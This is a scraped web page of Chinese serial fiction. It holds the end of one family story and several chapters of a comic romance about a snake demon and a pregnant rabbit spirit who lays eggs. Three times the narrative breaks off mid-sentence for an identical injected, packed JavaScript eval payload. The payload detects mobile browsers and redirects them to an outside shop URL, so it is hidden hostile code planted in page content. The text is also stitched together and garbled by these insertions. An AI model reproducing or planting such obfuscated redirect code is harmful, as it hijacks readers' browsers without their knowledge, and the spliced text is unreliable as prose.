没有什么特别的原因,就是沈蕙翻了翻黄历说这天宜嫁娶。林知榆挺着八个月的肚子,穿了一件宽松的衬衫,在民政局门口等着她。沈蕙从公司请假过来的,还穿着上班的衣服,灰色西装,头发利落地扎了起来。
拍照的时候摄影师让他们靠近一点,沈蕙往他那边挪了挪,肩膀挨着肩膀。林知榆看着镜头,微微笑了一下。闪光灯闪过之后,摄影师说可以了。
出来的时候沈蕙把结婚证随手塞进包里,问了一句:“晚上想吃什么?”
林知榆说:“都行。”
沈蕙想了想:“吃涮肉吧,暖和。”
那天晚上他们去吃了铜锅涮肉。吃到一半的时候林知榆忽然问了一句:“叫什么名字,想好了吗?”
沈蕙愣了一下,然后明白过来他说的是孩子。
“沈兰心。”她说,“兰花的兰,心灵的心。怎么样?”
林知榆说好听。然后低下头继续吃东西。
一个月之后沈兰心出生了,六斤二两,哭声响亮。林知榆醒过来的时候,沈蕙已经进了病房,把孩子抱给他看:“长得像你。”
林知榆看了一眼那个皱巴巴的小脸,说:“像个小猴子。”
沈蕙笑了。
出院之后林知榆住进了月子中心,费用一共要十几万,沈蕙每天下班就往这边跑。老二那时三岁,有时跟着一起来,趴在床边看妹妹,看一会儿就问:“妈妈,她什么时候能跟我玩?”
沈蕙总是说:“再等等。”
周琚走后确实再也没有回来过。电话没有,消息没有,该还的钱当然也没有。老二慢慢长大了,对“爸爸”这个词没什么概念。林知榆教他叫叔叔,他不肯,非要叫爸爸。叫了几年,也就改不过来了。
林知榆接送他去幼儿园,开家长会,周末带他去公园。有时候别人问这是你儿子吗,林知榆就笑着说是。
心心三岁那年的某一天,林知榆把沈蕙淘汰下来的旧电脑翻出来用。那台电脑实在太老了,一直放在书房角落里落灰。林知榆想着用它查查菜谱,放放视频什么的,正好合适。
那天下午心心在睡午觉,老二在客厅看电视。林知榆把电脑打开,准备找个菜谱做晚饭。电脑运行有点卡,他等待的时候随手点开了一个文件夹。
里面全是代码。
他愣了一下,想起来沈蕙以前接过私活,而这个看格式应该是个网站后台。他正想关掉,却不小心点进了其中一个子文件夹。
里面有一个文件,名字是一串数字。他好奇地点开了。
是一个后台日志文件。
user_id:zhouju
amount:50000
time:202X-08-15
他继续往下翻。
user_id:zhouju
amount:80000
time:202X-09-03
user_id:zhouju
amount:120000
time:202X-10-21
他一条一条往下翻看。日期从202X年夏天一直延续到202X年初。金额从小到大,从几万到十几万不等。
林知榆默默把那个文件关掉了。
他就那样坐在那里,盯着已经黑掉的电脑屏幕,看了很久很久。
客厅里电视还在放着动画片,老二忽然笑了一声。卧室里心心还在安睡,一点声音都没有。
他把电脑轻轻合上,站起身来,走到窗边。
外面太阳快要落山了,橙红色的余晖洒在对面的楼上。楼下院子里停着沈蕙的车,保时捷,深蓝色,有些脏了,好像好几天没洗过。
他忽然想起沈蕙曾经说过的那句话:“赌债,如果他那些钱不是真的赌输了呢?”
林知榆把手轻轻放在窗台上。过了好一会儿,他低下头,看见自己的手指正在微微颤抖。
他把手攥成拳头,努力不让它继续抖下去。
厨房里锅还空着,菜谱还没有查。他转过身,走回电脑旁边,重新把它打开,开始认真地搜索松鼠桂鱼的做法。
6. 不要跟食物谈恋爱(1)
社畜蛇妖未能成功烤熟兔子,反被兔子套牢成已婚人士(悲)
————————————
1
加班到这个点,整个公司只剩杨柳工位上一盏灯还亮着。
她盯着电脑屏幕上改了第十二版的广告文案,面无表情地嚼完最后一根辣条,把包装袋扔进脚下已经冒尖的外卖盒堆里。明天周四,再攒两天就能凑齐七盒,周末一起扔。
关电脑时已经快十二点。十月底的夜风灌进写字楼大堂,杨柳裹紧风衣往外走,金丝边眼镜后的丹凤眼半阖着,脑子里只有一个念头:睡觉。
准确地说,是冬眠。
五百多岁的眼王,骨子里刻着对冬天的仇恨。每年十月开始,她的灵魂就进入了半死不活的状态,剩下的那点精气神全用来应付甲方和KPI。
小区门口的水果店早关了。杨柳穿过门禁,沿着鹅卵石小路往公寓楼走,路过中心花坛时,脚步突然一顿。
月光底下,一团白色的东西正在啃草。
杨柳眯起眼,近视三百度的视力在夜里反而格外好使——红外感应,老天赏饭吃。她看清了,那是一只兔子。
不是巴掌大的宠物兔,是足有五六公斤的巨型白兔,毛茸茸一团蹲在冬青丛边,两只粉色的长耳朵垂在脑后,正专心致志地嚼着绿化带里的三叶草。
给杨柳看饿了。
加班到深夜,只吃了三包辣条,空腹喝酒似的灌了两杯美式,现在胃里空空如也,烧得慌。而眼前这只兔子,肥美、饱满、肉质看起来极其细嫩。
蛇性压过人性,不需要任何犹豫。
杨柳轻手轻脚地走过去。白兔太专注了,直到她的影子罩下来才惊觉,红宝石似的眼睛刚抬起来,后颈就被精准捏住。
“别动。”杨柳的声音很轻,带着点沙哑。兔子在她手里剧烈颤抖了一下,竟然真的没再挣扎,只是浑身哆嗦,耳朵贴紧脊背,缩成一只瑟瑟发抖的毛球。
杨柳拎起来掂了掂——够沉,够肥,够吃两顿。
她左右看看,夜深人静,没人。于是拎着这只巨型白兔往公寓走,路过楼下24小时便利店时,还顺道进去买了两个土豆、一袋胡萝卜。
兔子全程乖得像只毛绒玩具,只有心跳咚咚咚地撞着她的腰侧。杨柳低头瞥了一眼,心想:还挺识相。
公寓在十七楼,一室一厅,乱得很有生活气息。
杨柳把兔子往厨房料理台上一放,蹬掉皮鞋,脱下风衣扔在沙发上。兔子蹲在不锈钢台面上,耳朵竖起来又趴下去,红眼睛滴溜溜转,打量着这个陌生的地方。
杨柳没理它。她打开烤箱预热,然后洗土豆、削皮、切块,胡萝卜同样处理,全部码进烤盘,撒上盐、胡椒、迷迭香,淋一圈橄榄油。
整个过程行云流水,带着加班狗深夜觅食的机械感。
兔子蹲在旁边看着,一动不动。
杨柳把烤盘塞进预热好的烤箱,设了四十分钟,然后她低头,对上那双红眼睛:“你等一下,熟了就不疼了。”
兔子眨了眨眼。
杨柳懒得管它听不听得懂,直接把兔子塞进去。她打了个哈欠,转身走进卧室,往床上一倒,眼镜都没摘就失去了意识。
2
她是被饿醒的。
杨柳睁开眼,卧室漆黑一片。她摸过手机——凌晨三点十七。
烤箱定时四十分钟,早该停了。但她睡着前明明没闻到任何香味,按理说烤兔肉的味道能把她从冬眠里熏醒。
除非……没烤?
杨柳猛地坐起来,脑子里闪过一个可怕的念头:她好像忘了按启动键。
“……操。”她光着脚下床,杀气腾腾地冲向厨房。烤兔肉变成了生兔肉,但没事,现在烤也来得及,她饿得能吃下一整只——
厨房的灯亮着。
杨柳的脚步骤然刹住。
炉子上锅正咕嘟咕嘟冒着热气,米香扑面而来。料理台被收拾得干干净净,垃圾桶套上了新袋子。烤箱的灯也亮着,透过玻璃门能看到里面的烤盘,土豆和胡萝卜已经烤得金黄焦香。
而灶台前,站着一个人。
银色的长头发软软地搭在肩上,只露出小半张侧脸,皮肤白得近乎透明。他穿着一件明显并非衣服的东西——那是杨柳上周洗完晾着没收的被单,套在他身上短了一大截,露出雪白结实的小臂。
他正在盛饭。
杨柳站在厨房门口,CPU短暂过热。她的第一反应:我的兔子呢?!
第二反应:卧槽,兔子成精了。
那人听到动静,转过身来。
杨柳看到了他的正脸,然后大脑又空白了一秒。
那是一张造物主偏心的脸。眉眼精致得像画出来的,晶莹剔透的睫毛又卷又翘,瞳孔是纯净的红色,像两块浸在清水里的红宝石。他看起来也就十八九岁,表情懵懂,看到她时眼睛一亮,捧着饭碗走过来。
“你醒啦?”他的声音清亮,带着点小心翼翼的讨好,“我饿了,就……就自己找了点吃的。你家只有米,我煮了粥。烤箱里的菜我也烤好了,你要吃吗?”
他把饭碗往她面前递了递,像献宝似的。
杨柳低头看了一眼那碗粥——熬得浓稠,米油都出来了,火候掌握得相当专业。又抬眼看他,目测得有一米九多的个子,银发红瞳,赤着脚站在地砖上,脚趾头紧张地蜷着。
她沉默了三秒:“兔子?”
银发少年愣了一下,然后恍然大悟似的,脸腾地红了。
“我、我是……”他结结巴巴,耳朵尖都染上了粉色,“我不是故意变成人形的,就是太饿了,一着急就……就……”
他说着说着,眼眶竟然泛红了,两颗泪珠毫无征兆地滚下来,顺着脸颊滑落。
“你别生气。”他吸着鼻子,委屈巴巴地看着她,“我会做饭,会打扫卫生,吃得也不多……你、你能收留我吗?”
杨柳看着他。
看着那张过分好看的脸,那双含着泪的红眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297554|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睛,那副手足无措的可怜相。
她饿了——但不是胃里的那种饿。
进入人类社会两百多年了,她第一次对一个活物产生了如此复杂的情感——想尝尝他的肉味,又想尝尝他的别的什么。
杨柳摘下眼镜揉了揉眼睛:“你叫什么?”
银发少年红着脸小声说:“我、我没有名字。”
杨柳沉默片刻:“那就叫白白,杨白白。”
少年眨了眨眼,然后笑了,干净得像雪后的第一缕阳光,照亮了这间乱糟糟的公寓。
“杨白白,”他重复了一遍,认真地点头,“好听。”
他捧着粥碗,小心翼翼地又问了一遍:“那……那你吃吗?”
杨柳看了一眼他手里的碗,又看了一眼烤箱里金黄焦香的土豆胡萝卜,最后把目光落在他脸上。
吃——但不是吃粥。
3
杨柳醒来时,阳光正从窗帘缝隙里挤进来,在地板上切出一道金线。
她翻了个身,对于冬季的变温动物而言有点运动过度,但心情很好。
她理解了为什么人类那么热衷于晨练——如果晨练的对象是杨白白那样的,她也愿意天天早起。
那只傻兔子什么都不懂,却什么都配合,红着眼睛看她,软着声音喊她姐姐,到最后连眼泪都掉下来了,还是死死抓着她的手不放。
杨柳从床上爬起来,刚推开卧室门,一股香味就扑面而来——煎蛋的焦香、烤面包的麦香,还有一股清甜的豆浆味。
厨房里,杨白白正围着围裙站在灶台前。阳光从窗户照进来,他的银发泛着浅浅的光晕,整个人像是从画里走出来的。
听到动静,他回过头,眼睛一亮:“姐姐,你醒了?早饭马上好。”
杨柳靠在门框上,眯着眼看他:“怎么不变回原形了?”
白白的动作一顿,低头看了看自己的手,又抬头看她,表情无辜又茫然。
“我……我试过了,”他小声说,“变不回去。”
杨柳蹙眉:“你认真的?”
白白点头,眼眶又开始泛红:“对不起,我不是故意的……”
杨柳深吸一口气:好家伙。原本打算先奸后吃,但现在兔子变成了人,还变不回去了——吃不了,总不能扔吧?
她揉了揉眼睛,走到餐桌前坐下。桌上已经摆好了早饭:煎蛋、烤面包、凉拌黄瓜,还有两碗热豆浆。
“先吃饭。”她说。
白白应了一声,小心翼翼地把最后一道菜端上来,然后坐在她对面,双手放在膝盖上,乖得像只训练有素的狗。
杨柳咬了一口煎蛋——火候正好,溏心。又喝了口豆浆,温度适中,甜度刚好。
她抬头看白白。白白正眼巴巴地看着她,像是等着她打分。
“还行。”杨柳说。
白白的眼睛瞬间亮了:“那我以后天天给你做!”
杨柳没说话,低头喝豆浆,心里想:养肥再杀,也行。
7. 不要跟食物谈恋爱(2)
4
接下来的日子,杨柳的生活品质大有提升。
每天下班回家,屋里干干净净,衣服洗好叠好,冰箱里塞满了新鲜蔬菜。白白学会了用各种APP,从网购买菜到分享菜谱,研究得比她还透彻。他做的素菜一天一个花样,凉拌、清炒、炖汤、煎烤,能把白菜做出三种口感。
杨柳的胃被安排得明明白白。
——但她的嘴还是馋。
蛇的本能刻在骨子里,吃再多素菜也填不满那个空缺。每次路过菜市场的活禽区,她的脚步都会慢下来。
半个月后的一个周末,杨柳终于忍不住了。
她去了趟菜市场,回来时手里拎着一个网兜。兜里是一只灰毛肉兔,肥嘟嘟的,正缩成一团瑟瑟发抖。
推开家门,白白正在厨房里切菜。听到动静,他探出头来,笑容灿烂:“姐姐,你回——”
话说到一半,卡住了。
他的目光落在杨柳手里的网兜上,落在兜里那只灰兔子上,然后一点一点上移,对上杨柳的眼睛。
杨柳有点没明白,但看到白白的眼睛,那双漂亮的红瞳,正以肉眼可见的速度蓄满泪水。
“你……”白白的声音发抖,“姐姐,你为什么要找别的兔子?”
“不是——”杨柳试图解释。
“是我做得不好吗?”白白的眼泪滚下来,一颗接一颗,“我每天都有好好做饭,好好打扫,好好……好好陪你。你为什么还要……”
他说不下去了,咬着嘴唇,浑身发抖,一米九二的大个子缩在厨房门口,像只被抛弃的小动物。
杨柳张了张嘴,第一次觉得自己百口莫辩:“这是吃的。”
白白愣了一下,眼泪还挂在脸上:“……什么?”
“吃的。”杨柳举起网兜,“买回来吃的。不是别的兔子,只是肉而已。”
白白低头看看那只灰兔子,又抬头看看她,表情从委屈变成了困惑,又从困惑变成了惊恐:“吃、吃它?”
“不然呢?”杨柳理所应当,“你以为我带回来干什么?”
白白没说话,但表情已经说明了一切。
杨柳知道白白不敢杀同类,于是拎着兔子往厨房走:“我来处理,你出去等着。”
她刚把兔子从网兜里拎出来,身后就传来一阵急促的脚步声。白白冲过来,一把抓住她的手腕:“不要。”
杨柳回头。
“它……”白白红着眼睛看她,眼泪还没干,“它会疼的。”
杨柳看着他的眼睛:“那我把它送回菜市场?”
白白摇头,摇头,再摇头。显然,他也知道,肉兔送回菜市场还会被其他人买走杀掉。
杨柳扶额。她觉得自己三百年前一定欠了这只兔子的前世很多钱。
最后,那只灰兔子被装回网兜,由白白拎着,跟着杨柳出了门。
十月底的夜风凉飕飕的,杨柳开车到了附近的森林公园,沿着湖边找了一片灌木丛。
“就这儿吧。”杨柳说,“放这儿,它自己能活。”
白白蹲下来,把网兜打开。灰兔子缩在里面不肯动,他只好伸手把它抱出来,轻轻放在草地上。
“走吧,”他小声说,“以后别被人抓到了。”
灰兔子愣愣地蹲了三秒,然后一蹦一蹦地钻进灌木丛,消失了。
白白站起来,拍拍手上的草屑,转头对杨柳笑了一下。月光下,那笑容还是那么干净,那么好看。
杨柳正要说什么,身后突然亮起一道强光:“别动!”
两人同时回头。两个穿着警服的人正站在十米开外,手电筒直直地照着他们。其中一个年轻一点的,手里还拿着对讲机。
“接到举报,有人在这里进行非法交易!”他走过来,目光在杨柳和白白身上扫了一圈,“身份证!”
杨柳:“……”
白白茫然地看着他:“什么是身份证?”
年轻民警的表情变了。
5
一小时后,派出所。
杨柳坐在调解室里,面无表情地听民警念《城市绿化条例》和《野生动物保护法》。白白坐在她旁边,手里捧着一杯热水,眼睛红红的,像是刚哭过。
“……在公园绿地擅自放生动物,破坏生态环境,根据相关规定,处以二百元以上一千元以下罚款。”民警放下手里的文件,“念你们是初犯,态度也诚恳,就按最低标准罚吧。每人二百,一共四百。”
杨柳掏出手机扫码付钱。
民警收了款,又看了白白一眼:“他的身份证?”
杨柳动作一顿:“换证的时候不小心丢了,还没来得及补办。”
民警皱眉:“户口本有吗?”
杨柳没说话。
民警看看她,又看看白白——白白正无辜地眨着眼睛,睫毛上还挂着没干的泪珠。她叹了口气,从抽屉里抽出一张纸:“去户籍科问一下吧。没有身份证寸步难行,知道吗?”
杨柳接过那张写着办事流程的纸条,点了点头。
走出派出所时天已经快亮了,但好歹糊弄了过去。
6
身份证的事,杨柳托了妖界的老关系。
五百年不是白活的,总有几个欠过人情的角儿。她发了条微信,把白白的照片传过去,对方就回了一个字:妥。
三天后,一个牛皮纸信封从门缝底下塞进来,里面是一张崭新的身份证。
杨柳把身份证翻来覆去看了一遍,不得不承认妖口委员会的造假技术越来越精湛了——连紫外灯下的防伪花纹都做得分毫不差。
她把身份证递给白白。白白接过去,对着光看了半天,傻乎乎地笑:“这个就是我吗?”
“就是你。”杨柳靠在沙发上,眼皮已经沉了一半,“收好了,别弄丢。”
白白郑重其事地点头,然后凑过来,在她脸上亲了一口。
杨柳睁开眼。
白白已经红着脸跑开了,钻进厨房开始准备晚饭,只留下一句:“我去做好吃的。”
杨柳摸了摸被亲过的地方,默默想着:日子就这么过下去也不错。
7
半个多月后,杨柳发现不对劲。
先是白白的食量。
他本来就能吃,一顿能干掉半锅米饭,但最近这个量级呈指数级增长。昨晚她亲眼看着他吃完了三碗饭,然后到冰箱里找昨天剩的馒头,两口一个又吃了俩。
然后是睡眠。
白白以前作息规律,十一点睡七点起,比闹钟还准时。现在他一天能睡十二个小时,下午还要补个午觉,晚上不到九点就困了。
再然后是……
那天晚上,杨柳加班到八点多才到家。推开门,白白照例迎上来接她的包,围裙还系在身上,说锅里炖着汤。
她换鞋的时候,目光无意间扫过他的肚子。围裙底下,有一道微微的弧度。
杨柳的动作顿了一下:“你最近是不是吃多了?”
白白低头看了看自己的肚子,伸手摸了摸,表情茫然:“好像是有点……”
“没事儿,明天开始少吃点。”杨柳没当回事,洗完澡就睡了。
又过了十天。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297555|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那天早晨,杨柳是被压醒的。
白白的一条胳膊横在她胸口,沉得像条铁棍。她皱着眉把那条胳膊挪开,正准备翻身,手背碰到了一个圆滚滚的弧度。
她睁开眼。
白白侧躺着,面向她,睡得很沉。银发散在枕头上,睫毛在眼底投下一片阴影。被子滑到腰际,露出小腹。
杨柳的目光定住了。
他那曾经平坦紧实的小腹,现在隆起了明显的弧度,圆润饱满,像揣了一只小号的西瓜。
她盯着那个弧度看了足足十秒,然后伸出手,轻轻按了上去——温热,柔软,微微发硬。就在她掌心贴上去的瞬间,掌心下传来一阵轻微的动静。
杨柳的瞳孔骤然收缩,猛地缩回手。
她深吸一口气,把手指搭上白白的手腕——脉象往来流利,如珠走盘。
这是……喜脉。
她的目光重新落在白白的肚子上,调动灵力,探向那个隆起的弧度。
两秒后,她僵住了:两个心跳……不对,是三个?又好像是四个……
她闭上眼睛,凝神细数。那些心跳太微弱了,又太密集,像一窝刚破壳的幼鸟,挤在一起分不清彼此。
杨柳收回手,躺在床上,一动不动。
她活了五百多年,还是头一回遇到这种事。
蛇妖和兔妖,能生出什么?
8
事情的发展比杨柳预想的更快。
一周后,社区居委会在小区门口摆了个摊,拉横幅宣传优生优育。杨柳上班去了,白白出门买菜,正好路过。
他本来只是好奇地看了一眼。一个穿着红马甲的大哥立刻迎上来,笑容满面:“小兄弟,结婚了吗?有孩子吗?”
白白愣了一下,摇头:“没、没有……”
大哥的目光落在他肚子上——穿着宽松卫衣,其实看不太出来,但白白心虚地往后缩了缩。
“优生优育要从婚前抓起!”大哥塞给他一张传单,“社区医院现在有免费产检项目,B超、血常规、唐筛,全免费!你要是身边有适龄孕夫,一定推荐来啊!”
白白低头看着传单,上面印着温馨的图案和“关爱父婴健康”的字样,突然意识到了什么。
当天晚上,杨柳下班回家,看到白白正在厨房里忙活。桌上已经摆好了三菜一汤,热气腾腾。
白白从厨房探出头,笑得很乖:“姐姐,吃饭啦。”
杨柳扫了他一眼。肚子被围裙遮着,看不出什么。但走路的时候,他下意识地扶着腰。
“今天怎么样?”杨柳坐下,夹了一筷子菜。
白白在她对面坐下,开始盛饭:“我去了趟社区。”
“嗯?”杨柳问。
“那边发传单,”白白把碗递给她,“说可以免费检查身体。”
杨柳的筷子一顿:“什么检查?”
“就是……那个……”白白低着头,用筷子戳碗里的米饭,“产检……”
杨柳放下筷子:“你去了?”
“没有没有,”白白连忙摇头,“我就是拿了张传单。”
他抬起头,红眼睛里带着点小心翼翼的期待:“姐姐,我能去吗?我最近……感觉总是怪怪的,肚子里好像有什么东西在里面动……”
杨柳沉默了三秒:“不要去。”
白白的表情垮下来:“为什么?”
杨柳又想了想:“要去也行,但得带上符咒。”
她从抽屉里翻出一张黄纸,咬破指尖画了一道符。这是妖界老掉牙的东西,用来消除不设防的人类的短期记忆,时效二十四小时。
8. 不要跟食物谈恋爱(3)
9
第二天,杨柳下班之后就去了医院,看见白白还在B超室门口排队,手里捏着那张黄纸——看来社区免费的产检名额太多,医院快忙不过来了。
幸好没过多久,B超室的门就开了,护士探出头来:“杨白白?轮到你了,进来吧。”
白白看看护士,又看看杨柳,露出求助的表情。
杨柳轻轻拍了拍他的手臂:“快去吧,那不让异性进。”
白白乖乖地点头,进了屋。房门在杨柳面前关上,似乎一切顺利。
十分钟后,B超室的门突然被推开。
白白冲出来,脸色惨白,眼眶里全是泪。他看到杨柳,几乎是扑过来的,一把抓住她的胳膊,浑身发抖:“姐、姐姐……”
杨柳惊讶:“怎么了?”
白白张了张嘴,没说出话。
他身后,一个穿着白大褂的医生追出来,手里拿着B超单,表情既震惊又困惑:“这位先生,您先别跑,咱们好好谈谈。八胞胎在人类历史上都罕见,但是——但是,这对您的身体负担太大了,必须减胎,必须——”
白白尖叫一声,甩开杨柳的手就往楼下冲。
“白白!”没等杨柳反应过来,那个银色的身影已经消失在楼梯口。
医生愣在原地,不知所措。
杨柳深吸一口气,在手机上打开备忘录用墨迹画了张符,趁没人注意,往医生后背上一拍。
符咒化作一道微光,没入医生的白大褂。
医生眨了眨眼,表情从震惊变成了茫然:“咦?我怎么在这儿?”
杨柳没理他,转身追下楼。
但医院门口人来人往,哪还有白白的影子。
她站在暮色里,给那只兔子打电话,没人接。
再打,还是没人接。
第五遍,电话被挂断。
然后一条微信弹出来:“姐姐,我不要减胎!我走了,你别找我。”
杨柳盯着屏幕上的字,手指慢慢收紧。
天快黑了。
那只傻兔子,揣着一肚子小的,一个人跑了。
10
寻人,还是得找妖界的朋友帮忙。
黑市在南六环某地下停车场,白天是车库,晚上是另一个世界。
杨柳熟门熟路地穿过一排排停着的车,走到最深处那根承重柱前。柱子上贴满了小广告,她伸手撕掉左上角那张“□□”的,露出底下一个巴掌大的二维码。
扫码支付,5000元。
三秒后,柱子后面开了一道门。
门后是一条窄巷,两边摆满了地摊,卖什么的都有——反重力的糖葫芦、吃了会被附身的罐头、据说是龙鳞做的的护身符。杨柳目不斜视地穿过人群,径直走到巷子尽头那间招牌上写着“万事通”的小店。
店门口蹲着一只黑狗,见她来了,懒洋洋地立起前腿变成人形,是个瘦巴巴的中年女人,叼着烟卷:“哟,杨姐,什么风把您吹来了?”
“老黄,”杨柳开门见山,“我要找只兔子。”
老黄吐出一口烟:“兔子?您怎么还自己养口粮?”
杨柳吹了一口气,把烟全都吹回她自己脸上:“白毛,红眼,男的,怀孕了。”
老黄咳嗽了好几声:“……啥?怀孕了?”
杨柳把手机里的照片递过去。老黄盯着屏幕上的银发少年看了三秒,默默把烟按灭,转身往里屋走:“稍等。”
半小时后,老黄从里屋出来,手里拿着一张手绘的地图:“西面有个牧场,专门养用来提什么……纳米抗体的羊驼,一小时前有人看到一只巨兔从天而降,把那群玩意儿吓得满山跑。那兔子后来躲进圈里,再没出来。”
杨柳接过地图:“多少钱?”
老黄摆摆手:“嗐,跟我还提啥钱,快去吧!”
杨柳拍了拍她的肩,没有戳穿这其实是那纳米抗体公司花钱找妖界处理的委托。
11
车开到的时候已经快九点,四周黑漆漆的,羊驼圈外面围了一圈人,穿着工作服,手里拿着手电筒和叉子,正对着里面指指点点。
杨柳拨开人群,挤到前面。
手电筒的光照进羊圈,她看到了那只巨型兔子。
像小山一样的一团白,蹲在羊圈正中央,把原本关着的十几只羊驼都挤到了角落里。它的毛又长又密,在月光下泛着柔和的光,两只耳朵垂下来,足有一米多长。红眼睛像两盏灯笼,正惊恐地瞪着外面的人群。
而它的身边,堆满了羊驼毛。
那些毛被薅得干干净净,从羊驼身上薅下来的,一团一团堆在巨兔周围,铺成了一个巨大、柔软、温暖的窝。窝的外圈还垫了一层干草,整整齐齐的,一看就是精心布置过的。
杨柳站在人群前面,沉默了三秒:“这是我家的。”
旁边一名工程师转过头来,表情复杂:“姑娘,你养的这个……这个玩意儿?”
“嗯。”杨柳强行找一些借口进行解释,“这……这是一种卷毛水牛,只是看起来像兔子。”
貌似合理,纳米抗体公司的人纷纷松了口气。
“它把我们这儿羊驼的毛全薅没了。”工程师继续说,“预估损失至少五万。”
杨柳无奈:“行……支付宝转账可以吗?”
人群散了。杨柳转过身,看着羊圈里的巨兔。
大兔子看到她,红眼睛里瞬间涌出泪水。他往她这边挪了挪,巨大的身体把羊圈的木栅栏挤得嘎吱响,然后低下头,把脑袋抵在栅栏上,用那双湿漉漉的红眼睛看着她。
那眼神委屈极了,传达的意思也很明确:我不要减胎。
杨柳看着那山一样的身躯,看着那用偷来的羊毛铺成的窝,看着那又怂又倔的表情,悠悠地叹了口气:“不减就不减,但你不能一直这样。”
大兔子的耳朵动了动。
“变回来,咱们回家。”杨柳蹲下来,伸手摸了摸那只巨大的脑袋,“不去医院了,在家里生。”
大兔子的眼睛又湿了。
然后他的身体开始发光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297556|198607||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,山一样的身躯逐渐缩小,最后缩成一团毛茸茸的白球。等光芒散去,蹲在羊毛堆里的,是那只六公斤重的兔子——还是很胖,但至少不是巨型了。
杨柳低头看他。肚子还鼓着,圆滚滚的,把白毛都撑开了。
12
白白是在一天深夜里生出来的。
杨柳还在睡梦中,不知不觉地手指摸到了一颗蛋。
她顿时被惊醒,打开灯看到那蛋——白色的,椭圆形的,比鸡蛋大一圈,正静静地躺在被子里。
杨柳揉了揉眼睛。
紧接着又一颗。
然后是第三颗、第四颗、第五颗……
白白缩在被子里喘着气,一颗接一颗地生。那些蛋从它身下挤出来,白生生的,像一窝被遗落的鸟蛋。
第八颗生完,白白瘫在窝里,红眼睛半阖着,累得连耳朵都垂下来了。
杨柳盯着那八颗蛋,CPU温度有点高。
蛇生蛋,兔子生崽,没想到蛇和兔子还是生蛋……
她把一颗蛋拿起来,对着灯光看。蛋壳是半透明的,里面隐约有什么东西在动。
她又默默把蛋放回去。
白白用鼻子把那颗蛋拱回被子中央,然后趴在蛋上面,抬起头看她。那眼神既疲惫又坚定,传达的意思也很明确:我要孵蛋。
杨柳张了张嘴,没问出来那句话:那我睡哪啊?
13
七天后,杨柳在公寓客厅里,面对着一窝刚破壳的东西,陷入了哲学思考。
八条。
八条细小柔软的生物,正挤在竹筐做的摇篮里,发出细嫩的叫声。他们有蛇的身体,鳞片是银白色的,在灯光下泛着浅浅的光泽,但与此同时,每个脑袋上都顶着一对粉色的长耳朵。
此刻,那八对长耳朵正颤巍巍地竖着,八双红眼睛齐刷刷地看着她。
杨柳和他们对视了三秒,然后转向白白:“行了,可以把他们放生了。”
白白恢复了人形,但脸色还苍白着,额上挂着汗。他张开双臂,把整个竹筐护在身后,红眼睛里蓄满泪水:“不行!”
“这是咱们的孩子!”白白咬着嘴唇,“你不能丢。”
“蛇类没有养孩子的习惯,”杨柳说,“等他们长大再联系吧。”
其中一条最小的宝宝从竹筐里滑出来,用小脑袋蹭她的裤腿,发出一声奶声奶气的:“嘤……”
杨柳的身体僵了一下,低头看着那团小小的生物,红宝石似的眼睛正怯生生地望着她。
白白见她没躲开,立刻从竹筐里抱出更多的宝宝给她:“姐姐你看,他们多乖呀!”
杨柳被迫挂着三条小蛇,他们的小尾巴还在她手臂上轻轻缠绕。她叹了口气,指尖无意识地抚摸着其中一条的耳朵:“好吧,养就是了。”
白白立刻笑开了花,把剩下的宝宝抱在自己怀里:“那就好,我去给他们泡奶粉……”
于是,一些混血的兔兔蛇就这样在杨柳的公寓里长大了,很快就长到了每条至少200克。
9. 不要跟食物谈恋爱(4)
14
腊月二十八,杨柳回家过年,站在村里老宅门口,第一次认真思考原地冬眠的可行性。
门是老的,朱漆剥落,门槛被踩得光滑。门楣上挂着一块匾,写着“安居乐业”四个字,据说是唐朝遗留的古迹、家族昌盛的象征,实际是清末从倒卖文物贩子那抢的。匾下面,此刻正探出七八个脑袋,全是没到五十年的小蛇妖。
“回来啦——”一声尖利的招呼从堂屋深处传来,“老五家那个回来啦——”
杨柳深吸一口气,迈过门槛。
身后,白白抱着一个巨大的恒温箱,小心翼翼地跟着。箱子里铺着厚厚的棉絮,八条长着兔耳朵的小东西正挤成一团,听到动静齐刷刷竖起耳朵。
“这是姥姥家,”白白小声对箱子说,“要乖。”
八条小东西“嘤”了一声。
堂屋里,局部人山人海。
火炕烧得非常之热,上面坐满了人,反而其他都空着——没热气的东西,即使是好好的椅子,在这里也没人会坐。
“小六子!”一个穿军大衣的女人拨开人群冲过来,一把抓住杨柳的肩膀。那是一张和杨柳有五六分相似的脸,只是更圆润些,笑起来露出非常尖的牙。
“阿娘。”杨柳说。
杨母揉了揉她的头发,然后越过乖闺女的肩膀,落在后面那个银发红瞳的高个子身上。
白白的脸瞬间红了:“阿、阿姨好。”
